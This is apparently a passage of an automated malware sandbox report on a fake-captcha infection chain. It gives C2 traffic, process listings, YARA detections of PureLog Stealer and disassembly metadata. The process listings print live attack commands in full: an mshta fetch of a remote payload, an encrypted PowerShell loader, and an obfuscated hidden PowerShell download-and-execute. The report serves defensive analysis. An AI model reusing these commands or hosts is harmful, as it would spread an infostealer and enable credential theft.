2024-12-21 19:15:38 UTC	1133	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 19:15:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dln3d7t6ebbjhp222q8u804qdi; expires=Wed, 16 Apr 2025 13:02:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p3lkIz4pkwM9xLpTMWKmNWN2I%2ByixP88OuQ7FJ4Hdf%2FMhDacwCz63sNjf88LhNBCQReyNiWmeZeQE12VSnP3GSrzTAdTGXaJ7Ohi8dVetZjT5BJ%2BZqL778OLT371Fc7cD1WhIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5a33b13f0243a1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1686&min_rtt=1666&rtt_var=665&sent=13&recv=25&lost=0&retrans=0&sent_bytes=2841&recv_bytes=21366&delivery_rate=1596500&cwnd=233&unsent_bytes=0&cid=b87784da13335982&ts=947&x=0"
2024-12-21 19:15:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-21 19:15:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49825	172.67.151.193	443

Timestamp	Bytes transferred	Direction	Data
2024-12-21 19:15:39 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZNDRC0WE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1199 Host: locketplyxx.click
2024-12-21 19:15:39 UTC	1199	OUT	Data Raw: 2d 2d 5a 4e 44 52 43 30 57 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 33 45 41 32 39 41 34 36 42 39 34 37 39 38 33 37 43 42 38 30 33 35 35 31 44 36 32 39 37 33 0d 0a 2d 2d 5a 4e 44 52 43 30 57 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 4e 44 52 43 30 57 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 53 48 45 4c 4c 53 0d 0a 2d 2d 5a 4e 44 52 43 30 57 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 Data Ascii: --ZNDRC0WEContent-Disposition: form-data; name="hwid"833EA29A46B9479837CB803551D62973--ZNDRC0WEContent-Disposition: form-data; name="pid"1--ZNDRC0WEContent-Disposition: form-data; name="lid"jMw1IE--SHELLS--ZNDRC0WEContent-Disposi
2024-12-21 19:15:40 UTC	1139	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 19:15:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9pcjiq1k9krmnpf102vv256965; expires=Wed, 16 Apr 2025 13:02:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qm2dRl5NkKgPsJhbZEe784q6KJgxqJhfr2iB2CoEXgjwxwTP4QBFQ%2FUwNiH0xh7Wejd5iIsM6gNID3tdjP26eRmEcSGHcYMBnOvJd6R4GaNvR%2B%2BZfEu8%2BDr%2BnGc%2B4beWoO%2BTRg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5a33bfb88bde98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1911&min_rtt=1628&rtt_var=813&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2107&delivery_rate=1793611&cwnd=212&unsent_bytes=0&cid=6f450851167e208f&ts=1042&x=0"
2024-12-21 19:15:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-21 19:15:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49826	172.67.151.193	443

Timestamp	Bytes transferred	Direction	Data
2024-12-21 19:15:42 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QTRNNL8AAPBPJ18XQI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1129 Host: locketplyxx.click
2024-12-21 19:15:42 UTC	1129	OUT	Data Raw: 2d 2d 51 54 52 4e 4e 4c 38 41 41 50 42 50 4a 31 38 58 51 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 33 45 41 32 39 41 34 36 42 39 34 37 39 38 33 37 43 42 38 30 33 35 35 31 44 36 32 39 37 33 0d 0a 2d 2d 51 54 52 4e 4e 4c 38 41 41 50 42 50 4a 31 38 58 51 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 54 52 4e 4e 4c 38 41 41 50 42 50 4a 31 38 58 51 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 53 48 45 4c 4c Data Ascii: --QTRNNL8AAPBPJ18XQIContent-Disposition: form-data; name="hwid"833EA29A46B9479837CB803551D62973--QTRNNL8AAPBPJ18XQIContent-Disposition: form-data; name="pid"1--QTRNNL8AAPBPJ18XQIContent-Disposition: form-data; name="lid"jMw1IE--SHELL
2024-12-21 19:15:43 UTC	1130	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 19:15:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sn5qtjj470b725po5accpbc608; expires=Wed, 16 Apr 2025 13:02:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lKIAYovM8hy1bK1zHDL6g%2BMUTcC%2Bd58YqZvFslFZKEc78agc8jn0VWXYjcbgyL7p5JU07UYvWOeOO41Rf39Ys20ldFRXxchfnBL6KjHEYJSGLtB%2BRBRNrntxyRuW52zBTWrxxw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5a33ce6a2843b8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1713&min_rtt=1708&rtt_var=651&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2841&recv_bytes=2047&delivery_rate=1666666&cwnd=231&unsent_bytes=0&cid=3a40aa3cb275eec0&ts=863&x=0"
2024-12-21 19:15:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-21 19:15:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	14:13:29
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /C ""C:\WINDOWS\system32\mshta.exe" https://solve.fizq.net/awjxs.captcha"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:13:29
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:13:29
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	"C:\WINDOWS\system32\mshta.exe" https://solve.fizq.net/awjxs.captcha
Imagebase:	0x6b0000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:13:36
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ERrXH($NPRZ){return -split ($NPRZ -replace '..', '0x$& ')};$ZMcko = ERrXH('6C99A336230E5A2C9C9A564A467FCC7257DD8D73078CDDBE02A1C1E1CFEDEF1F69966C54CB1E0285E1AC81545FC7B37E41947EEF4312D686A1E5ECA561E4B330B6BA4E39137E46B1CF88F17B1CB79DDD3D8F77137F26D2026351102801E1B8EE83DC3C63D271BF7B2D32A103440FFAF27E51B9A655BC0FF4EAF17755211742BE41D6E00A001C4AB1700E496BCEB4C89D00508B0B68540C20C935204C74F180AA8B22C7493BDE52C7E082CAA9BE5DA2E40EDA75A53BD815D984B8564B6C5038B4A08214FF76BAA31263424BB9E93A9CE0F6F32C5E9C04A3878210984A5C49EF44488BBF880C62CFC91A641624C5D3BBD2FC8D663749EC8640E19E84846FD13EBD37FE167ECAADF42A3A5F25585727DE5C37C223ECF8D8B397DCD90774ADCB0FD58898F52117E75CF08D8FF61DB1811D9B84EFF315D837D713331AFE66E19BFD84FF8BA54B199FCB0269CBE56507C12EA8637FEA0A67B6D12314008A1A25D934DBDC48FA684F23E9C501CDA3D6EDD7E1DB27877FEBE1B1434E17BC899F36D51BA739F6507615383E3B76DC4DA7CF7DB096F71CD34EF427E409688C24F8BB3BD0F3DB16EAABE36CD48798812B320FEA85CA4F71867DC6D48582D5777965011C7B4801FB2CDB18E83428C7808F638DAAF946C009B3F07F09FF06C12C76831DD7747D232DFD24FB9801CADBFD5E5EC908A1E51EC88CDE84AF039CE48EFE74A558CA4CBD92F3BCFA89B2AA00759AF0A0859F3F4ED35DBE2626C1F3844FACFBE69C3AF62DE312661FA0A1C9EF460D20A5D199852B92C4883BFF88E5B2F1FDABA90D71163E5DDB1A17351D3D569C380BD9B27019E63CAD3FBC9C1BF7848CF286360E4C58DC0982C67C6AEF5785616C9877FDCC9B73B1A787A21FBB8F5F7E06CCEF0CBA53610C8E0459F28EE99160390976D4765E779A2A809EC1AB4F2D73A45E246DFF920777B514611903535C5ED407ADDBF093B0601148111BDF803C8B56E525FA9858F48A247B21967016E863E2168D3C4E89C41F15B44CEDBF3C30A49DB22F27A6E8D16F4FDB02943C76ACD372022387AC294C26B60DAF5F676870DAA3C0FB0B090D7996806834504CCE1C17B4E8229467DA457082CAF7F79AC294EB12BF534C76E52C69F0E157B56FD8069B76BDB2EED8385CD903FA7A13DA82CDBF4E8A8CF38A0A2E5F4242E1C26E5BCB6F3AF8E2445C1B494CCB5C69DC58B7746F0C79D2DA716530BDCA02459C015DBB2ABEA4BECB26097E41CE2FBD300A920FD18318366C5D4B7A04C833A236496C4C8A6188EE9A72760FA54EB5221B2960085B7A18CBB9E11E7CC4689666D213681E9A7D41F02061038A45FF0FE8EBBC097E9B2E8CAC4EDF3BF43758115832CE1E28283D795091E9DAAAC752BD4A4516CE6DDB72B53E8186CA1A4D77D156AFBE03BE987790E9776784A6E70627F727ED765D7F51E83778A499E2FF2CD51DA0DBFD933914AEF22FD2CDEAEB1305C5570317DB8D7475A9AD738EBF387927CED9E50E2B520DD916ED2A173D9E003B4C8EF8F37E793194E4E01D9D0CF44488AFE08088233788987E7EF92C4EA59C09AE3C6978D85B80137C2B4DC42B109F4299AB74B6133D2390EB63B68D01047C56B1C0BAD51059ED21678A8D190F8061EF4644822357A50DF94B8A4E44A6420B241971988F3D27094F5CC39FE50EFB4536F7FF84CB61206C5799806EE78F9E92132F0629C8062B57966710BDE9EF5D86960E07F6CAC367FC1C647D09612B8C1B9FCADAD251FDD08F3143C2A62095850DE26FAB05330A6052FC0C7B88A7633F8EB38E499149753BB3838C0CFCDFD806F53E3DF94F3B82207E016C20A230EA548FAAA34253FDA1400710D76D7406BAE6A40B73B79AD689C21A5D886E4AF2806C14F3364355409B48AF74043DA8F661C1504E41E526A00634CB7BE67747BCECEB4FDFBB3CAB9FA8A9889564D5F64BEF7D5626DA881E86F666BDFA8158678EDB2A26053A13025B2AE8B26218E13D71017DA8A8FE9CCBCC76E3BA3B6A95D1ED2A4A44A168E8636A1C900DADF3286F3ED2FDAD098EE58C7B6AFCCBC68203649484FF462A21AD9EE06F0B2A24495E62A40046DF6C39B77D47A014F0F0940CF765920FB7FA754DFE80F9D4138A2328D4A2F3909905D737350CA18D46A3F34F72969F4026F528EE194317064AC8ABF90F0C562A82D0FB23D49696F85E3A60A4C23E6FC2E69C0C21061968D1E083A7DC8FB925B87086B50A6B6A111CCAA936B945BCCF1B61BA45851312BC53A436D6FD6E88D4E39E965D4CBE982D9E2C56EB4D9900');$wBTv=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((ERrXH('6B635876677359704D536E5770724B42')),[byte[]]::new(16)).TransformFinalBlock($ZMcko,0,$ZMcko.Length)); & $wBTv.Substring(0,3) $wBTv.Substring(129)
Imagebase:	0xea0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:13:36
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:13:37
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlm';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'GCmt'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name)\|GM\|Where-Object{(DIR Variable:\_).Value.Name-like'Come'}).Name).Invoke('w-ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value\|GM)\|Where-Object{(DIR Variable:\_).Value.Name-like'wng'}).Name);($ExecutionContext\|ForEach{(DIR Variable:\_).Value.(($ExecutionContext\|GM)[6].Name)\|ForEach{$_.(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'wi*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke()
Imagebase:	0xea0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000006.00000002.2813404644.000000000D3E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.2722035542.0000000007890000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:13:37
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	14:15:10
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0xea0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 0AF40000 Relevance: 2.6, Strings: 2, Instructions: 117COMMON

Download Yara Rule

Strings

lS, xrefs: 0AF40020
!, xrefs: 0AF4009D

Memory Dump Source

Source File: 00000002.00000003.1768344435.000000000AF40000.00000010.00000800.00020000.00000000.sdmp, Offset: 0AF40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_af40000_mshta.jbxd

Similarity

API ID:
String ID: !$lS
API String ID: 0-3731077821
Opcode ID: 12745787ef687b2d320e494a80d53159b3e90d9895cce13ed5251232432fd444
Instruction ID: 7b7976d1fd117fff61b65103afc9b09cdfa04322c75b893d40c9116a682016c0
Opcode Fuzzy Hash: 12745787ef687b2d320e494a80d53159b3e90d9895cce13ed5251232432fd444
Instruction Fuzzy Hash: 33410231B04354AFEB208E58C881B79BBD5EB85320F814568EF55DB392DB789C44CAE2

Function 0A5D0FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.1768438022.000000000A5D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A5D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_a5d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction ID: 63e394c17126702a346c7b27e4fd61981c015f5ea83512626f995023516f1610
Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction Fuzzy Hash:

Function 0A5D0FC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.1768438022.000000000A5D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A5D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_a5d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction ID: 63e394c17126702a346c7b27e4fd61981c015f5ea83512626f995023516f1610
Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction Fuzzy Hash:

Function 0A5D0FE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.1768438022.000000000A5D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A5D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_a5d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction ID: 63e394c17126702a346c7b27e4fd61981c015f5ea83512626f995023516f1610
Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction Fuzzy Hash:

Function 0A5D0F9F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.1768438022.000000000A5D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A5D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_a5d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction ID: 63e394c17126702a346c7b27e4fd61981c015f5ea83512626f995023516f1610
Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction Fuzzy Hash:

Function 0A5D0FBF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.1768438022.000000000A5D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A5D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_a5d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction ID: 63e394c17126702a346c7b27e4fd61981c015f5ea83512626f995023516f1610
Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction Fuzzy Hash:

Function 0A5D0FB7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.1768438022.000000000A5D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A5D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_a5d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction ID: 63e394c17126702a346c7b27e4fd61981c015f5ea83512626f995023516f1610
Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction Fuzzy Hash:

Function 0A5D0FAF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.1768438022.000000000A5D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A5D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_a5d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction ID: 63e394c17126702a346c7b27e4fd61981c015f5ea83512626f995023516f1610
Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 7572, Parent PID: 7356COMMON

Executed Functions

Function 04C7476A Relevance: 6.4, Strings: 5, Instructions: 174COMMON

Download Yara Rule

Strings

m^, xrefs: 04C747DA
m^, xrefs: 04C7476A
m^, xrefs: 04C7479A
m^, xrefs: 04C74932
bd_, xrefs: 04C747EA

Memory Dump Source

Source File: 00000004.00000002.1755660641.0000000004C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c70000_powershell.jbxd

Similarity

API ID:
String ID: bd_$m^$m^$m^$m^
API String ID: 0-2355349439
Opcode ID: 06997ab072a1e68a2d244495102f72f431c6dc85738746f860f26236734f52d2
Instruction ID: 7fc485478f260f53b9597074477813fbdbc967bf9e1bf9156efc7f0f6eb1fcce
Opcode Fuzzy Hash: 06997ab072a1e68a2d244495102f72f431c6dc85738746f860f26236734f52d2
Instruction Fuzzy Hash: A761A07190D3C59FC707CF68C8945A9BFB1AF16310B1A44DBC490DF263C228AC4AC7A6

Function 04C78D28 Relevance: 4.4, Strings: 3, Instructions: 669COMMON

Download Yara Rule

Strings

c{m^, xrefs: 04C796E4, 04C796E9
(Xcq, xrefs: 04C78EB7
LR^q, xrefs: 04C78DD5

Memory Dump Source

Source File: 00000004.00000002.1755660641.0000000004C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c70000_powershell.jbxd

Similarity

API ID:
String ID: (Xcq$LR^q$c{m^
API String ID: 0-2013928681
Opcode ID: bdfa8630c68ebd359519a3ac1b62eb168fb4226113fc477511955c3c6a6ef37f
Instruction ID: 9718ae4eba51e96bef8e526f09574f2a280edd357e8572b64032a0807669459f
Opcode Fuzzy Hash: bdfa8630c68ebd359519a3ac1b62eb168fb4226113fc477511955c3c6a6ef37f
Instruction Fuzzy Hash: 6A525A34B00218CFEB24DB25C854B6DBBB3BF85308F1581A9D9499B3A5DB31AD85CF91

Function 04C78BC4 Relevance: 4.1, Strings: 3, Instructions: 321COMMON

Download Yara Rule

Strings

m, xrefs: 04C78D9A
(Xcq, xrefs: 04C78EB7
LR^q, xrefs: 04C78DD5

Memory Dump Source

Source File: 00000004.00000002.1755660641.0000000004C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c70000_powershell.jbxd

Similarity

API ID:
String ID: (Xcq$LR^q$m
API String ID: 0-1170143275
Opcode ID: 0a0a151226db92aac33356b7426de1adc670aa9c08b96db8ec81b511f6101cd1
Instruction ID: 74369e566c46813e5a11fd381ca6cef6cf82ba59230bcb4d279a01044e3ed25b
Opcode Fuzzy Hash: 0a0a151226db92aac33356b7426de1adc670aa9c08b96db8ec81b511f6101cd1
Instruction Fuzzy Hash: 2A517C34B003148FDB24DF69D844B9EBBB2EF89304F1181AAE6459B3A5DB71AD41CF91

Function 04C74098 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755660641.0000000004C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfe33cb3ecfaca14ecdb80544144db300add8cd5f156c182e86fc2e0e6798de6
Instruction ID: 1dadb35891582d9b478d0befecba23378386dac773c82d7a6be16b13f752623a
Opcode Fuzzy Hash: bfe33cb3ecfaca14ecdb80544144db300add8cd5f156c182e86fc2e0e6798de6
Instruction Fuzzy Hash: 1EF14C34A00249DFCB19CF98D584AADBBF2FF88314F298559E805AB365C731ED81CB94

Function 04C73870 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755660641.0000000004C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf4b6f3b736b536976d35c40d202f6bd3b28328b09fe8e0f80f13f9602745c47
Instruction ID: 148d2d47421a221a15dcd299240e89c314a2a92c660a5821c6e58f8485d9f537
Opcode Fuzzy Hash: cf4b6f3b736b536976d35c40d202f6bd3b28328b09fe8e0f80f13f9602745c47
Instruction Fuzzy Hash: D7D10734A00259EFCB05CFA8D584A9DFBB2FF88310F298559E845AB365C735ED81DB90

Function 04C72FF0 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

